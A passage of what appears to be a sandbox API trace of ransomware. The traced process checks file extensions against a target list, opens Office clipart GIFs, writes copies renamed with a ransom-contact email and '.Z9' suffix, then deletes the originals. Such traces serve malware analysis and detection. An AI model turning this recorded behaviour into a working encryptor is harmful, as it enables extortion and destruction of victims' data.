	[0081.441] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.441] lstrlenW (lpString=".7z") returned 3
	[0081.441] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString=".dbf") returned 4
	[0081.441] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString=".1cd") returned 4
	[0081.441] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString=".jpg") returned 4
	[0081.442] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.442] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.442] lstrlenW (lpString="AG00130_.GIF") returned 12
	[0081.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.449] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5253) returned 1
	[0081.449] CloseHandle (hObject=0x38c) returned 1
	[0081.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220
	[0081.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.449] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.449] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.451] GetLastError () returned 0x0
	[0081.451] ReadFile (in: hFile=0x38c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1485, lpOverlapped=0x0) returned 1
	[0081.454] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1490, lpOverlapped=0x0) returned 1
	[0081.455] ReadFile (in: hFile=0x38c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.455] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.455] SetEndOfFile (hFile=0x338) returned 1
	[0081.455] CloseHandle (hObject=0x338) returned 1
	[0081.456] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.456] SetEndOfFile (hFile=0x38c) returned 1
	[0081.457] CloseHandle (hObject=0x38c) returned 1
	[0081.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1
	[0081.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.457] lstrlenW (lpString=".doc") returned 4
	[0081.457] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.457] lstrlenW (lpString=".docx") returned 5
	[0081.457] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.457] lstrlenW (lpString=".pdf") returned 4
	[0081.457] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.457] lstrlenW (lpString=".xls") returned 4
	[0081.457] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.457] lstrlenW (lpString=".xlsx") returned 5
	[0081.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.457] lstrlenW (lpString=".ppt") returned 4
	[0081.457] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.457] lstrlenW (lpString=".zip") returned 4
	[0081.457] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.457] lstrlenW (lpString=".rar") returned 4
	[0081.458] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.458] lstrlenW (lpString=".bz2") returned 4
	[0081.458] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.458] lstrlenW (lpString=".7z") returned 3
	[0081.458] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.458] lstrlenW (lpString=".dbf") returned 4
	[0081.458] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.458] lstrlenW (lpString=".1cd") returned 4
	[0081.458] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.458] lstrlenW (lpString=".jpg") returned 4
	[0081.458] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.458] lstrlenW (lpString=".doc") returned 4
	[0081.458] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.458] lstrlenW (lpString=".docx") returned 5
	[0081.458] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.458] lstrlenW (lpString=".pdf") returned 4
	[0081.458] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.458] lstrlenW (lpString=".xls") returned 4
	[0081.458] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.458] lstrlenW (lpString=".xlsx") returned 5
	[0081.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.458] lstrlenW (lpString=".ppt") returned 4
	[0081.458] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.458] lstrlenW (lpString=".zip") returned 4
	[0081.458] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.458] lstrlenW (lpString=".rar") returned 4
	[0081.458] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.458] lstrlenW (lpString=".bz2") returned 4
	[0081.458] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.458] lstrlenW (lpString=".7z") returned 3
	[0081.459] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.459] lstrlenW (lpString=".dbf") returned 4
	[0081.459] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.459] lstrlenW (lpString=".1cd") returned 4
	[0081.459] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68
	[0081.459] lstrlenW (lpString=".jpg") returned 4
	[0081.459] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.459] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.459] lstrlenW (lpString="AG00139_.GIF") returned 12
	[0081.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.459] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10607) returned 1
	[0081.459] CloseHandle (hObject=0x38c) returned 1
	[0081.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220
	[0081.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.460] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.460] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.460] GetLastError () returned 0x0
	[0081.460] ReadFile (in: hFile=0x38c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x296f, lpOverlapped=0x0) returned 1
	[0081.467] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2970, lpOverlapped=0x0) returned 1
	[0081.469] ReadFile (in: hFile=0x38c, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.469] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.469] SetEndOfFile (hFile=0x338) returned 1
	[0081.469] CloseHandle (hObject=0x338) returned 1
	[0081.470] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.470] SetEndOfFile (hFile=0x38c) returned 1
	[0081.471] CloseHandle (hObject=0x38c) returned 1
	[0081.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1
	[0081.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.471] lstrlenW (lpString=".doc") returned 4
	[0081.471] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.471] lstrlenW (lpString=".docx") returned 5
	[0081.471] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.471] lstrlenW (lpString=".pdf") returned 4
	[0081.471] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.471] lstrlenW (lpString=".xls") returned 4
	[0081.471] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.471] lstrlenW (lpString=".xlsx") returned 5
	[0081.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.472] lstrlenW (lpString=".ppt") returned 4
	[0081.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.472] lstrlenW (lpString=".zip") returned 4
	[0081.472] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.472] lstrlenW (lpString=".rar") returned 4
	[0081.472] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.472] lstrlenW (lpString=".bz2") returned 4
	[0081.472] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.472] lstrlenW (lpString=".7z") returned 3
	[0081.472] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.472] lstrlenW (lpString=".dbf") returned 4
	[0081.472] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.472] lstrlenW (lpString=".1cd") returned 4
	[0081.472] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.472] lstrlenW (lpString=".jpg") returned 4
	[0081.472] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.472] lstrlenW (lpString=".doc") returned 4
	[0081.472] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.472] lstrlenW (lpString=".docx") returned 5
	[0081.472] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.472] lstrlenW (lpString=".pdf") returned 4
	[0081.472] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.472] lstrlenW (lpString=".xls") returned 4
	[0081.472] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.472] lstrlenW (lpString=".xlsx") returned 5
	[0081.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.472] lstrlenW (lpString=".ppt") returned 4
	[0081.472] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.473] lstrlenW (lpString=".zip") returned 4
	[0081.473] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.473] lstrlenW (lpString=".rar") returned 4
	[0081.473] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.473] lstrlenW (lpString=".bz2") returned 4
	[0081.473] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.473] lstrlenW (lpString=".7z") returned 3
	[0081.473] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.473] lstrlenW (lpString=".dbf") returned 4
	[0081.473] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.473] lstrlenW (lpString=".1cd") returned 4
	[0081.473] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0081.473] lstrlenW (lpString=".jpg") returned 4
	[0081.473] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.473] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.473] lstrlenW (lpString="AG00154_.GIF") returned 12
	[0081.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0081.474] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5315) returned 1
	[0081.474] CloseHandle (hObject=0x338) returned 1
	[0081.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220
	[0081.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.476] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.476] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.476] GetLastError () returned 0x0
	[0081.476] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x14c3, lpOverlapped=0x0) returned 1
	[0081.487] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0081.488] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.488] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.488] SetEndOfFile (hFile=0x320) returned 1
	[0081.488] CloseHandle (hObject=0x320) returned 1
	[0081.489] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.489] SetEndOfFile (hFile=0x358) returned 1
	[0081.490] CloseHandle (hObject=0x358) returned 1
	[0081.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.491] lstrlenW (lpString=".doc") returned 4
	[0081.491] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.491] lstrlenW (lpString=".docx") returned 5
	[0081.491] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.491] lstrlenW (lpString=".pdf") returned 4
	[0081.491] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.491] lstrlenW (lpString=".xls") returned 4
	[0081.491] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.491] lstrlenW (lpString=".xlsx") returned 5
	[0081.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.491] lstrlenW (lpString=".ppt") returned 4
	[0081.491] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.491] lstrlenW (lpString=".zip") returned 4
	[0081.491] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.491] lstrlenW (lpString=".rar") returned 4
	[0081.491] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.491] lstrlenW (lpString=".bz2") returned 4
	[0081.491] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.491] lstrlenW (lpString=".7z") returned 3
	[0081.491] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.491] lstrlenW (lpString=".dbf") returned 4
	[0081.491] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.491] lstrlenW (lpString=".1cd") returned 4
	[0081.491] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.491] lstrlenW (lpString=".jpg") returned 4
	[0081.491] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.491] lstrlenW (lpString=".doc") returned 4
	[0081.491] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.491] lstrlenW (lpString=".docx") returned 5
	[0081.491] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.492] lstrlenW (lpString=".pdf") returned 4
	[0081.492] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.492] lstrlenW (lpString=".xls") returned 4
	[0081.492] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.492] lstrlenW (lpString=".xlsx") returned 5
	[0081.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.492] lstrlenW (lpString=".ppt") returned 4
	[0081.492] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.492] lstrlenW (lpString=".zip") returned 4
	[0081.492] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.492] lstrlenW (lpString=".rar") returned 4
